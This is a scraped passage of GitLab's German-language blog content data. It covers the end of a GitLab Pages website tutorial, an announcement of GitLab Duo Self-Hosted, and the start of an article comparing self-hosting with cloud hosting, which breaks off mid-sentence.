dem Namen `public` und kopiert alle Dateien deiner Website dorthin. GitLab Pages verwendet diesen Ordner standardmäßig, um deine Website zu bedienen, aber du kannst bei Bedarf [den Veröffentlichungsordner anpassen (Dokumentation nur in englischer Sprache verfügbar)](https://docs.gitlab.com/user/project/pages/introduction/#customize-the-default-folder).\n\n**Der only-Teil**\n\n```\nonly:\n  - main\n\n```\n\nDamit wird GitLab angewiesen, deine Website nur zu aktualisieren, wenn Änderungen am main-Branch vorgenommen werden. Das hilft, versehentliche Aktualisierungen durch experimentelle Änderungen zu verhindern.\n\n## Schritt 4: Jetzt geht alles wie von selbst\n1. Committe alle deine Änderungen.\n2. Gehe zu **Build > Pipelines**, um zu beobachten, wie deine Website bereitgestellt wird.\n3. Warte, bis die Pipeline erfolgreich abgeschlossen ist (durch ein grünes Häkchen gekennzeichnet).\n\n![GitLab-Pages-Tutorial – Pipeline für neue Seite wird ausgeführt](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097724676.png)\n\n![GitLab-Pages-Tutorial – Pipeline für neue Seite übergeben](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097724677.png)\n\n## Schritt 5: Auf deine Website zugreifen\n\nSobald die Pipeline erfolgreich abgeschlossen ist, ist deine Website unter **https://[deinbenutzername].gitlab.io/** verfügbar.\n\nEine Übersicht über deine bereitgestellte Website und zusätzliche Einstellungen findest du in deinem Projekt im Bereich **Bereitstellen > Pages**. Hier findest du nützliche Informationen, wie zum Beispiel: \n\n* Die Zugriffs-URLs deiner Website   \n* Domain-Einstellungen  \n  * Standardmäßig aktiviert GitLab **Einzigartige Domain**. Achte darauf, dies zu deaktivieren, wenn du die von GitLab bereitgestellte Domain verwenden möchtest. Weitere Informationen findest du in der [Dokumentation für einzigartige Domains (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/project/pages#unique-domains).  \n* HTTPS-Zertifikatstatus   \n* Letzte Bereitstellungen   \n* Zusätzliche Konfigurationsoptionen\n* Benutzerdefinierte Domains\n\nDieser Bereich ist besonders hilfreich, wenn du benutzerdefinierte Domains einrichtest oder für die Problembehebung bei der Bereitstellung.\n\n**Passe deine Website an**\n\n![GitLab-Pages-Tutorial – Website anpassen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image8_aHR0cHM6_1750097724678.png)\n\n1. Ersetze alle „Dein …“-Platzhalter in `index.html` durch deine Daten.\n\n![GitLab-Pages-Tutorial – Datei hochladen, um Seite anzupassen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097725/Blog/Content%20Images/Blog/Content%20Images/image11_aHR0cHM6_1750097724679.png)\n\n2. Füge deine Bilder hinzu:\n    - profile.png – dein Profilbild (64 x 64 px)\n    - favicon.png – dein Website-Favicon (32 x 32 px)\n    - Og.png – OpenGraph-Bild für Social-Media-Vorschau (1 200 x 630 px)\n\n**Sieh dir die Website an**\n\nWenn du mit GitLab vertraut bist, kannst du gerne [mein Repository forken](https://gitlab.com/fracazo/fracazo.gitlab.io), um schnell loszulegen. \n\nHier ist das Endergebnis:\n[https://fracazo.gitlab.io/](https://fracazo.gitlab.io/)\n\n**Häufige Probleme und Lösungen**\n- Standardmäßig aktiviert GitLab für Pages-Projekte „Einzigartige Domain“. Um die einfachere von GitLab bereitgestellte Domain (wie `benutzername.gitlab.io`) zu verwenden, gehe zu **Bereitstellen > Pages** und deaktiviere die Option „Einzigartige Domain verwenden“. Einzigartige Domains bieten zwar einige technische Vorteile, wie z. B. eine bessere Handhabung der Ressourcenpfade, aber für eine persönliche Website ziehst du vielleicht die cleanere URL-Struktur vor.\n- Wenn deine Pipeline fehlschlägt, stelle sicher, dass du in deiner `.gitlab-ci.yml`-Datei `main` anstelle von `master` verwendest.\n- Stelle sicher, dass deine Gruppe und dein Projekt öffentlich sind, damit GitLab Pages funktioniert.\n- Wenn in deiner Pipeline ein Job fehlschlägt, suche im Job-Protokoll nach detaillierten Fehlermeldungen, die dir bei der Problembehandlung helfen können.\n\nMit GitLab Pages und dieser Vorlage kannst du in wenigen Minuten eine professionelle oder persönliche Website erstellen. Die Vorlage ist clean, reaktionsschnell und einfach anzupassen. Wenn du dich beruflich weiterentwickelst, kannst du deine Website direkt über GitLab aktualisieren. \n\nDu kannst den Bereitstellungsprozess automatisieren, indem du die CI/CD-Funktionen von GitLab nutzt und dich auf die Erstellung großartiger Inhalte konzentrierst.\n\nUnd das Beste daran? All dies ist im kostenlosen Tarif von GitLab enthalten und somit eine ausgezeichnete Option für das kostenlose Hosting deiner persönlichen Projekte, Dokumentationsseiten oder sogar Websites für kleine Unternehmen. Weitere erweiterte Funktionen und Konfigurationen findest du in unserer [Pages-Dokumentation (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/project/pages/).\n\n## Wie geht es weiter mit GitLab Pages?\nWir arbeiten ständig daran, GitLab Pages für Kreative und Entwickler(innen) noch besser zu machen. Hier sind einige aufregende Verbesserungen, die bald verfügbar sein werden: \n\n### Vereinfachtes Domain-Management \nWir haben einige aufregende Updates für GitLab Pages, die die Verwaltung deiner Domains noch einfacher und unterhaltsamer machen werden! Du kannst dich auf ein optimiertes Dashboard freuen, das alle deine Domain-Einstellungen in einem übersichtlichen Bereich zusammenführt und alles leicht zugänglich macht. \n\nDu bleibst mit Echtzeit-Updates über deinen DNS- und SSL-Zertifikatsstatus auf dem Laufenden, damit deine Domains sicher sind und reibungslos funktionieren. \n\n### Einrichten benutzerdefinierter Domains\nDie Einrichtung benutzerdefinierter Domains ist mit unserem einfach zu befolgenden Prozess, der dich bei jedem Schritt begleitet, ein Kinderspiel. Außerdem kannst du deine benutzerdefinierten Domains so einrichten, dass Besucher(innen) von deiner alten Website automatisch auf deine neue umgeleitet werden – perfekt, wenn du möchtest, dass dein gesamter Traffic auf eine Hauptwebsite geleitet wird. Erfahre mehr über [benutzerdefinierte Domains (nur in englischer Sprache verfügbar)](https://docs.gitlab.com/ee/user/project/pages/custom_domains_ssl_tls_certification/index.html#set-up-a-custom-domain).\n\n> Lege jetzt mit GitLab Pages im [kostenlosen Tarif von GitLab](https://about.gitlab.com/de-de/pricing/) los!\n\n## Mehr erfahren\n(Informationen nur in englischer Sprache verfügbar)\n- [GitLab-Pages-Funktionen überprüfen Apps und mehrere Website-Bereitstellungen](https://about.gitlab.com/blog/gitlab-pages-features-review-apps-and-multiple-website-deployment/)\n- [GitLab Pages: Dokumentation zur Bereitstellung mehrerer Websites](https://docs.gitlab.com/user/project/pages/#parallel-deployments)\n- [Beispiele für GitLab Pages](https://gitlab.com/pages)",[767,746],"2025-03-06",{"slug":1975,"featured":6,"template":682},"build-a-new-website-in-a-few-easy-steps-with-gitlab-pages","content:de-de:blog:build-a-new-website-in-a-few-easy-steps-with-gitlab-pages.yml","Build A New Website In A Few Easy Steps With Gitlab Pages","de-de/blog/build-a-new-website-in-a-few-easy-steps-with-gitlab-pages.yml","de-de/blog/build-a-new-website-in-a-few-easy-steps-with-gitlab-pages",{"_path":1981,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1982,"content":1988,"config":1995,"_id":1997,"_type":16,"title":1998,"_source":17,"_file":1999,"_stem":2000,"_extension":20},"/de-de/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy",{"ogTitle":1983,"schema":1984,"ogImage":1985,"ogDescription":1986,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":1987,"title":1983,"canonicalUrls":1987,"description":1986},"GitLab Duo Self-Hosted: Enterprise-KI für mehr Datenschutz","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Duo Self-Hosted: Enterprise-KI für mehr Datenschutz\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Susie Bitters\"},{\"@type\":\"Person\",\"name\":\"Aathira Nair\"}],\n        \"datePublished\": \"2025-02-27\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097840/Blog/Hero%20Images/Blog/Hero%20Images/Self-Hosted%201800x945_1dL1II2ITh2PteObA9DBLD_1750097839679.png","Kund(inn)en in regulierten Branchen können GitLab Duo jetzt auf Self-Managed-Infrastruktur bereitstellen und so leistungsfähige generative KI nutzen, ohne dabei die Datenresidenz und Datenschutzbedenken über Bord werfen zu müssen.","https://about.gitlab.com/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy",{"title":1983,"description":1986,"authors":1989,"heroImage":1985,"date":1992,"body":1993,"category":677,"tags":1994},[1990,1991],"Susie Bitters","Aathira Nair","2025-02-27","Wir freuen uns, dass GitLab Duo Self-Hosted für GitLab Duo Code Suggestions und GitLab Chat jetzt allgemein verfügbar ist. Als optionale Funktion für Self-Managed-Kund(inn)en mit einem Abonnement von GitLab Duo Enterprise unterstützt GitLab Duo Self-Hosted eine flexible Bereitstellung auf mehreren Plattformen, darunter auf lokaler Infrastruktur, in privaten Clouds und in sicheren Cloud-Umgebungen über AWS Bedrock und Azure OpenAI. Mit GitLab Duo Self-Hosted können Teams mit KI-Unterstützung innovativ sein und gleichzeitig die Kontrolle über sensible Daten und geistiges Eigentum behalten.Sicherheitsbedenken stellen ein großes Hindernis für die Einführung von KI in regulierten Branchen dar. \n\nIn unserer [globalen DevSecOps-Umfrage](http://about.gitlab.com/de-de/developer-survey/2024/ai) gab mehr als die Hälfte der Befragten an, dass die Einführung von KI in den Software-Entwicklungsprozess riskant sei. Mit [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/) bieten wir Unternehmen nun eine Möglichkeit, sicherere Software dank in den gesamten Software-Entwicklungsprozess integrierte KI schneller bereitzustellen.GitLab Duo Self-Hosted weitet die verfügbaren KI-Funktionen von GitLab Duo auf Unternehmen mit strengen Datenschutzanforderungen aus und bietet sowohl bei der Auswahl der für die KI verwendeten großen Sprachmodelle (LLM) als auch bei den Bereitstellungsoptionen mehr Flexibilität. Zu den Erstanwender(inne)n von GitLab Duo Self-Hosted zählen Unternehmen im öffentlichen Bereich und in regulierten Branchen, z. B. im Bereich der Finanzdienstleistungen, im Automobilsektor und im Gesundheitswesen. Diese Unternehmen möchten KI als Wettbewerbsvorteil nutzen, indem sie KI-basierte Entwicklungstools in ihre Umgebungen integrieren und gleichzeitig Sicherheitsteams die Kontrolle bieten, die sie brauchen.Eine US-Regierungsbehörde berichtet: „Nachdem wir GitLab als Eckpfeiler unserer behördenweiten DevSecOps-Plattform ausgewählt hatten, entschieden wir uns dafür, GitLab Duo Self-Hosted zu verwenden, um die Funktionen unserer Software Factory weiter zu verbessern. Die Möglichkeit, GitLab Duo in Air-Gapped-Umgebungen einzusetzen, sowie die granulare Kontrolle über unsere Daten war für die Bereitstellung sicherer KI-basierter Funktionen von entscheidender Bedeutung. Dieser einheitliche Ansatz vereinfacht unseren Workflow und stärkt die Sicherheit, sodass wir mit KI eine höhere Produktivität erzielen und gleichzeitig die strengen Compliance-Anforderungen erfüllen können.“ \n\n![Modelle von GitLab Duo Self-Hosted](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097848/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097848329.png)\n\n## Sichere KI-Bereitstellungen entwickeln\n\nMit GitLab Duo Self-Hosted können Funktionen von GitLab Duo genutzt werden, wobei eine kuratierte Auswahl an führenden KI-LLMs geboten wird, darunter von Anthropic, Mistral und OpenAI. Diese LLMs unterstützen GitLab derzeit:\n\n* Lokal: Mistral-Modelle mit der vLLM-Serving-Plattform  \n* AWS: Mistral und Anthropic Claude 3.5 Sonnet über AWS Bedrock  \n* Microsoft Azure: OpenAI-GPT-Modelle über Azure AI\n\nWir prüfen weitere Modelle, die in naher Zukunft unterstützt werden sollen. [Erfahre mehr über die von uns unterstützten LLMs.](https://docs.gitlab.com/ee/administration/self_hosted_models/supported_models_and_hardware_requirements.html#approved-llms)\n\nZu den Bereitstellungsoptionen von GitLab Duo Self-Hosted gehören lokale Installationen, die auf dem Open-Source-vLLM-Framework basieren, sowie Bereitstellungen in privaten Clouds über Dienste wie AWS Bedrock und Microsoft Azure AI. Diese Flexibilität hilft Unternehmen, KI-Lösungen zu nutzen, die ihren einzigartigen Sicherheits-, Compliance- und Performance-Anforderungen entsprechen.\n\n> **Von 18 auf 3 Monate: So beschleunigt die Deutsche Telekom ihre Releases mit GitLab** 13.000 Entwickler(innen) arbeiten effizienter zusammen und bringen Produkte 6x schneller auf den Markt – erfahre, wie GitLab Ultimate die DevSecOps-Transformation vorantreibt, Silos aufbricht und Sicherheit in den Entwicklungsprozess bringt. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/deutsche-telekom/)\n\n## KI-/ML-Implementierung vereinfachen\n\nDie KI-Abstraktionsschicht von GitLab Duo standardisiert und vereinfacht die Integration des ausgewählten LLM in eine Funktion, wodurch die Implementierung von KI-/ML-Technologien vereinfacht wird. So können Unternehmen die Einführung von KI optimieren und das Entwicklererlebnis verbessern, ohne sich mit der Komplexität der Integration und Wartung mehrerer Tools auseinandersetzen zu müssen.\n\n![KI-basierte Funktionen von GitLab Duo Self-Hosted](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097848/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097848330.png)\n\n## Kontrolle über sensible Daten behalten\n\nDurch die Isolierung deiner GitLab-Instanz, deines KI-Gateways und der LLMs in deiner eigenen Umgebung oder dem Land deiner Wahl sorgst du mit GitLab Duo Self-Hosted dafür, dass sensible Daten und geistiges Eigentum innerhalb deines festgelegten Bereichs bleiben. Die granulare Kontrolle über die Datenlokalität ermöglicht es, strenge Vorschriften zur Datenresidenz einzuhalten und gleichzeitig KI-Funktionen in einer sicheren Umgebung zu nutzen. Egal, ob du GitLab Duo Self-Hosted in einer reinen Air-Gapped-Umgebung mit vLLM nutzt oder eine unterstützte private Cloud verwendest: Du kannst alle Aspekte der Bereitstellung kontrollieren, um den geografischen Standort der Komponenten einzubeziehen. Indem du nicht von externen APIs abhängig bist und volle Transparenz in alle Anfrage- und Antwortprotokolle hast, ermöglicht es GitLab Duo Self-Hosted sogar äußerst streng regulierten Unternehmen, KI-Funktionen mit gutem Gewissen zu nutzen und die strengsten Compliance-Vorgaben einzuhalten.\n\n**Beginne eine interaktive Tour durch GitLab Self-Hosted, indem du auf das folgende Bild klickst:**\n\n[![Screenshot von der Tour durch GitLab Duo Self-Hosted](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097848/Blog/Content%20Images/Blog/Content%20Images/Screenshot_2025-02-20_at_7.00.34_AM_aHR0cHM6_1750097848332.png)](https://gitlab.navattic.com/gitlab-duo-self-hosted)\n\n## Lege jetzt mit GitLab Duo Self-Hosted los\n\nWenn du bereit bist, deine KI-Reise voranzutreiben und gleichzeitig auf Sicherheit und Datenschutz zu achten, [wende dich an uns](https://about.gitlab.com/de-de/sales/), um GitLab Duo Self-Hosted jetzt in deiner Umgebung einzurichten.",[679,745,746,680,723],{"slug":1996,"featured":92,"template":682},"gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy","content:de-de:blog:gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy.yml","Gitlab Duo Self Hosted Enterprise Ai Built For Data Privacy","de-de/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy.yml","de-de/blog/gitlab-duo-self-hosted-enterprise-ai-built-for-data-privacy",{"_path":2002,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2003,"content":2009,"config":2015,"_id":2017,"_type":16,"title":2018,"_source":17,"_file":2019,"_stem":2020,"_extension":20},"/de-de/blog/self-hosting-vs-cloud",{"ogTitle":2004,"schema":2005,"ogImage":2006,"ogDescription":2007,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2008,"title":2004,"canonicalUrls":2008,"description":2007},"Self Hosting vs. Cloud Hosting: Die Unterschiede erklärt","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Was du über Self-Hosting & Cloud-Hosting wissen solltest \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab Germany Team\"}],\n        \"datePublished\": \"2025-02-27\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664270/Blog/Hero%20Images/AdobeStock_276584891.jpg","Wir zeigen dir die Unterschiede zwischen Self Hosting vs. Cloud Hosting. ✓ Hosting-Kriterien ✓ Vor- & Nachteile ✓ Public Cloud ➤ Jetzt lesen!","https://about.gitlab.com/de-de/blog/self-hosting-vs-cloud/",{"title":2004,"description":2010,"authors":2011,"heroImage":2006,"date":1992,"body":2012,"category":765,"tags":2013},"Self-Hosting oder Cloud? Wir zeigen dir, welche Vorteile und Nachteile diese Modell haben - und was für eine Rolle GitLab dabei spielt.",[701],"# Was du über Self-Hosting und Cloud-Hosting wissen solltest\n\n„Stets online zu sein ist kein Luxus - es ist in dieser schnelllebigen Zeit eine Notwendigkeit.” Dieses anonyme Zitat bringt die Bedeutung einer sicheren, stabilen und rundum überzeugenden Web-Präsenz auf den Punkt: Mit deiner Website gewinnst und hältst du Kund(inn)en, informierst Interessierte und eröffnest ihnen Kontaktmöglichkeiten, bietest Downloads und Dienstleistungen, oder physische Produkte an.\n\nDamit wird zugleich die hohe Bedeutung des passenden Webhostings klar: Einerseits sollten deine Daten stets für Befugte zugänglich sein, andererseits müssen sie vor unerwünschten Zugriffen und Angriffen geschützt bleiben. Mit der Entscheidung des für dich richtigen Hosting-Pakets stellst du die Weichen auf Erfolg und unterstützt dein Unternehmen langfristig in seiner digitalen Strategie.\n\nDie Bedeutung des Hostings geht sogar noch über das Bereitstellen von Websites hinaus. Auch für DevOps-Teams ist die Entscheidung darüber, wie und wo welche Daten gehostet werden sollen, alles andere als eine Formalität und sollte niemals ausschließlich aufgrund der Kosten getroffen werden.\n\nStehst du gerade vor der Frage, welches Hosting für dich die beste Wahl ist? Dann lies weiter. Denn in diesem Artikel stellen wir dir die drei grundlegenden Hosting-Modelle vor und erklären dir die jeweiligen Vor- und Nachteile. Einiges davon könnte dich überraschen.\n\n> **Von 18 auf 3 Monate: So beschleunigt die Deutsche Telekom ihre Releases mit GitLab** 13.000 Entwickler(innen) arbeiten effizienter zusammen und bringen Produkte 6x schneller auf den Markt – erfahre, wie GitLab Ultimate die DevSecOps-Transformation vorantreibt, Silos aufbricht und Sicherheit in den Entwicklungsprozess bringt. [Erfolgsstory lesen](https://about.gitlab.com/de-de/customers/deutsche-telekom/)\n\n## Welcher Zusammenhang besteht zwischen Webhosting und DevOps?\n\nDevOps wird eher selten im Zusammenhang mit Hosting diskutiert. Dabei besteht zwischen den beiden ein sehr enger Bezug, unabhängig davon, ob du dich für ein Self-Hosting-Modell oder Cloud-Hosting entscheidest.\n\nBeim Hosting werden Anwendungen und Inhalte auf einem Server abgelegt und kontrolliert verfügbar gemacht. Ein wichtiger Aspekt von DevOps besteht in der Automatisierung des Deployments von Informationen und Inhalten für deine Website, die auf dem Server gehostet wird.\nIn der Entwicklungspraxis werden die Anwendungen, an denen ein DevOps-Team arbeitet, auf einem gemeinsam genutzten Server gehostet. Nur, wenn das Hosting optimal funktioniert, kann DevOps optimal funktionieren.\n\nIn großen Projekten sind die Verflechtungen oftmals sogar noch enger. So stellen manche Hosting-Dienstleister in ihrem Paket Anwendungen zur Verfügung, mit denen der DevOps-Prozess skaliert und möglichst harmonisch gestaltet werden kann. So greifen die beiden Bereiche ineinander.\nWenn DevOps ein zentrales Element deiner Arbeit darstellt, empfehlen wir dir deshalb, dich intensiv mit dem Thema Hosting auseinanderzusetzen.\n\n## Was muss gutes Webhosting leisten?\n\nDer Begriff Hosting beinhaltet das Speichern und Bereitstellen von Daten über einen Server. Nutzer(innen) greifen auf die Daten zu, die auf dem Server abgelegt sind, können Bestellungen aufgeben oder über ein Kontaktformular Anfragen schicken.\nWas macht gutes Webhosting aus?\n\nAlle Seiten und Anwendungen sollten schnell abrufbar sein, fehlerfrei bleiben und rund um die Uhr zur Verfügung stehen. Die Privatsphäre der Anwender(innen) muss ebenso gewährleistet werden wie die Integrität deiner Unternehmensdaten. Eventuelle Ausfälle werden umgehend beseitigt und das System stets auf dem technisch aktuellen sowie erforderlichen Stand gehalten.\nKurz gesagt: Das zentrale Ziel sollte darin bestehen, dass die User-Experience flüssig, nahtlos und stabil ist. Das richtige Hosting garantiert diese Qualität und passt sie kontinuierlich an aktuelle Gegebenheiten und Forderungen an.\nUm das für dich richtige Hosting zu ermitteln, stellt sich zuerst eine allgemeine Frage:\n\n## Welche Hosting-Optionen stehen mir zur Verfügung?\n\nGrundsätzlich gliedert sich Hosting in drei Varianten auf: Das Self-Hosting, Hosting in der Cloud und die Private Cloud. Wenn du selbst das Hosting übernimmst, bedeutet das, dass du in deinem Unternehmen einen oder mehrere Server einrichtest und deine Websites über diese laufen lässt. Da ein Server zunächst einmal nichts anderes ist als ein regulärer Computer und dir eine Vielzahl bewährter Softwarelösungen für den Betrieb eines Servers zur Verfügung stehen, mutet Self-Hosting (beziehungsweise „On-Premise-Hosting”) nicht übermäßig komplex an. Im nächsten Abschnitt stellen wir diese Vermutung auf den Prüfstand.\n\nDas Gegenmodell zum Self-Hosting-Modell ist das Cloud-Hosting. Die Cloud, in der deine Daten eingebettet werden, ist dabei schlicht eine Server-Architektur, die von externen Anbieter(innen) bereitgestellt wird. Diese speichern die Daten ab, stellen sämtliche erforderliche Software zur Verfügung und sorgen für einen reibungslosen Ablauf. In den frühen Jahren litten Cloud-Lösungen bei vielen Entscheidungsträger(inne)n unter einem Vertrauensdefizit. Doch haben sie in den letzten Jahren zunehmend an Beliebtheit gewonnen und stellen heute den De-Facto-Standard dar. Die Gründe dafür erklären wir dir ein wenig später in diesem Artikel.\n\nDa sowohl Self-Hosting als auch Cloud-Hosting jeweils ganz bestimmte Vorteile haben, welche die andere Lösung nicht anbieten kann, ist in den letzten Jahren verstärkt der Ruf nach einer Art Fusion der beiden Ansätze lauter geworden. Das Private-Cloud-Hosting stellt den Versuch eines Ausgleichs und einer Harmonisierung der jeweiligen Vor- und Nachteile beider Hosting-Modelle dar. Das gelingt in der Regel auch sehr gut, ist aber mit entsprechend hohen Kosten verbunden.\nFalls du GitLab nutzt, besteht sogar noch eine weitere Option:\n\n## Du kannst auch direkt über GitLab hosten!\n\nWenn du bereits für deine [CI/CD-Pipeline](https://about.gitlab.com/topics/ci-cd/cicd-pipeline/) mit GitLab arbeitest, ist das Hosten über GitLab für viele Projekte die optimale Variante. Wie wir oben erwähnt haben, ist eine flüssige, nahtlose und stabile User-Experience das oberste Ziel beim Hosting. Gleiches gilt selbstverständlich auch für die Entwicklungsarbeit. Je weniger Zwischenschritte erforderlich sind, um deine Webseite aus dem Entwicklungsstadium heraus öffentlich zu machen, umso geringer das Fehlerpotential und umso effizienter der Prozess als Ganzes.\n\nAus diesem Grund entscheiden sich viele DevOps-Teams, ihre Websites direkt aus dem Repository heraus zu veröffentlichen. Dabei übernimmt GitLab die gesamte Verwaltung der Daten und viele der beim Hosting anfallenden Aufgaben. Und da wir auf das Thema Sicherheit besonders großen Wert legen, kannst du dich darauf verlassen, dass deine Daten in guten Händen sind.\nAllerdings beschränkt sich die [Hosting-Funktionalität](https://about.gitlab.com/blog/gitlab-pages-setup/) von GitLab auf statische Seiten. Wenn du damit an einem dynamischen Projekt arbeitest, lies weiter, um zu erfahren, worauf du bei der Auswahl Wert legen solltest.\n\n## Welche Kriterien gilt es beim Hosting zu beachten?\n\nHosting ist ein recht einfaches Konzept, doch in seinen Details durchaus komplex. So gibt es eine Vielzahl an Kriterien, die es bei der Auswahl des für dich passenden Modells zu beachten gilt:\n\n- __Kosten:__ Hosting erfordert den Einsatz hochwertiger Hardware und Software sowie geschulten Personals. Je höher und individueller deine Ansprüche, umso höher die Kosten. Je mehr Daten du auf dem Server zu speichern beabsichtigst und je mehr Nutzer(innen) voraussichtlich auf diese Daten zugreifen, umso höher sind die Ansprüche an die Übertragungsleistung - und folglich umso höher auch die Ansprüche an das Hosting.\n\n- __Skalierbarkeit:__ Wenn sich deine Bedürfnisse an die Serverleistung ändern, ist es stets von Vorteil, schnell Anpassungen vornehmen zu können. Je höher die Skalierbarkeit einer Hosting-Lösung, umso besser.\n-\n- __Sicherheit:__ Deine Daten sind dein Kapital. Sie sind aber auch deine Verantwortung und in vielen Fällen an sehr genaue gesetzliche Vorgaben gebunden. Aus diesem Grund genießt die Wahrung der Integrität und Zugriffssicherung persönlicher Informationen, sowie der Informationen all derer, die auf sie zugreifen, höchste Priorität.\nde- __Aktualisierbarkeit:__ Hosting ist eine hochtechnologische Dienstleistung in einem sich rapide wandelnden Umfeld. Nur, wenn du deine Server stets auf dem aktuellen Stand hältst, kannst du die bestmögliche Umsetzung der anderen Kriterien gewährleisten.\n\n- __Flexibilität:__ Es gibt inzwischen eine Vielzahl standardisierter Anwendungen für die unterschiedlichsten Aspekte des Hostings. Das senkt Kosten, kann aber zu Konflikten mit deinen persönlichen Bedürfnissen und Ansprüchen führen. Individuelle Programme und Konfigurationen bieten oftmals mehr Flexibilität.\n\n- __Implementierbarkeit:__ Zwischen Entscheidungsfindung und -Umsetzung können oftmals längere Pausen entstehen. Je schneller dieser Prozess abläuft, desto besser.\nBenutzerfreundlichkeit: Gerade was den täglichen Betrieb angeht, gibt es bei der Wahl des Hosting-Modells erhebliche Unterschiede. Ein Server, dessen Betrieb, Wartung und Aktualisierung intuitiv abläuft, reduziert deinen Aufwand.\n\nJe nachdem, wo deine Ansprüche liegen, wird sich eines der folgenden Modelle für dich als besser geeignet erweisen. Sehen wir uns die jeweiligen Vor- und Nachteile genauer an.\n\n## On-Premise-Hosting/Self-Hosting: Vorteile\n\nViele Jahre lang waren die beiden Begriffe Hosting und Self-Hosting synonym. In den ersten zwei Jahrzehnten des Internets erschien die Vorstellung einer Auslagerung der eigenen Homepage alleine schon aufgrund niedriger Datenübertragungsraten geradezu utopisch. Inzwischen hat sich das Blatt gewendet. Sogar erfahrene Hoster und IT-Experten halten Cloud-Lösungen in den meisten Fällen für die geeignetere Wahl. Dennoch gibt es bis heute unbestreitbare Vorteile des Self-Hostings, die einen genaueren Blick rechtfertigen.\n\nDie große Stärke eines Self-Hosting-Modells besteht ganz offensichtlich darin, dass alle deine Daten bei dir liegen. Du hast also direkten Zugriff und behältst jederzeit die Kontrolle über sie. Darüber hinaus kannst du die Hard- und Software optimal an deine persönlichen Bedürfnisse anpassen.\n\nSelf-Hosting bietet außerdem gewisse Sicherheitsvorteile. Es besteht beispielsweise ein weitaus geringeres Risiko, dass sich Mitarbeiter(innen) einer externen Firma Zugriff auf deine Daten verschaffen. Da du selbst die Sicherheitsmaßnahmen definierst, kannst du die Messlatte sehr hoch ansetzen, um Missbrauch auszuschließen.\nVor allem ist es auf deinen eigenen Servern möglich, für extrem sensible Daten die Einhaltung gesetzlicher Standards zu sichern, die möglicherweise in der Cloud nicht garantiert werden können.\n## On-Premise-Hosting/Self-Hosting: Nachteile\n\nDie Anfänge des Internets waren eine Pionierzeit. Die extrem hohen Anforderungen, die Self-Hosting an das technische Knowhow der Beteiligten stellte, boten gleichzeitig eine großartige Chance, zu lernen und das eigene IT-Verständnis zu verbessern.\nDieser Aspekt hat inzwischen deutlich an Relevanz eingebüßt. Webhosting stellt schlicht eine Infrastruktur zur Verfügung und die meisten Aufgaben werden automatisch von spezialisierten Anwendungen übernommen.\n\nGleichzeitig verlangt der rapide technische Wandel die regelmäßige Durchführung von Updates in sehr kurzen Abständen. Auch müssen Ausfälle unmittelbar und schnell behoben werden. Der Sicherheitsvorsprung des Self-Hosting kann sich nur dann entfalten, wenn du dir ein tiefes Wissen über die besten Lösungen und die geforderten Standards aneignest. All dies überfordert die meisten mittelständischen Unternehmen oder zwingt sie zu hohen Investitionen in Personal und Infrastruktur.Die zunehmende Dominanz des Cloud-Hosting ist darauf zurückzuführen, dass es in einigen essentiellen Punkten deutliche Vorteile gegenüber dem On-Premise-Ansatz aufweist. Sehen wir uns diese genauer an.\n\n## Cloud-Hosting: Vorteile\n\n### Was ist Cloud-Hosting?\n\nBeim Cloud-Hosting  übernimmt der Dienstleistungsanbieter die Investitionen in die Hard- und Software. Das bedeutet, dass der sehr hohe Kapitalaufwand, der beim Self-Hosting unweigerlich entsteht, sich auf mehrere Kunden verteilt. Auch verfügen diese Betriebe über Personal, welches speziell auf die Herausforderungen des Hostings geschult ist und sich dem Thema, und somit ganz konkret deinen Daten, 24 Stunden am Tag widmen kann. Updates werden routinemäßig durchgeführt, Ausfälle (in der Regel) sofort erkannt und so schnell wie möglich behoben. Und all das zu deutlich geringeren Kosten als beim Self-Hosting.\n\nGerade im Hinblick auf das wichtige Thema Skalierbarkeit ist Cloud-Hosting das Optimum. Du benötigst kurzfristig oder auch nur vorübergehend mehr Speicherplatz, weil du große Mediendateien auf dem Server unterbringen willst? Statt dir, wie beim Self-Hosting erforderlich, zusätzlichen physischen Speicherplatz anzuschaffen, kannst du in der Cloud dein Paket bequem erweitern. Das ist im Allgemeinen sogar für saisonale und vorübergehende Peaks möglich. So könntest du bei Bedarf die Ressourcennutzung wenige Monate lang erhöhen und anschließend wieder auf das ursprüngliche Niveau herunterfahren.\n\nIm direkten Vergleich von Self-Hosting vs Cloud-Hosting bietet das Cloud-Hosting somit mehr Flexibilität und Freiraum für schnelle Änderungen. Darüber hinaus besteht eine sehr natürliche Verbindung zu DevOps und [DevSecOps](https://about.gitlab.com/de-de/topics/devsecops/).\n\n## Cloud-Hosting: Nachteile\n\nGanz ohne Nachteile kommt selbstverständlich auch das Cloud-Hosting nicht 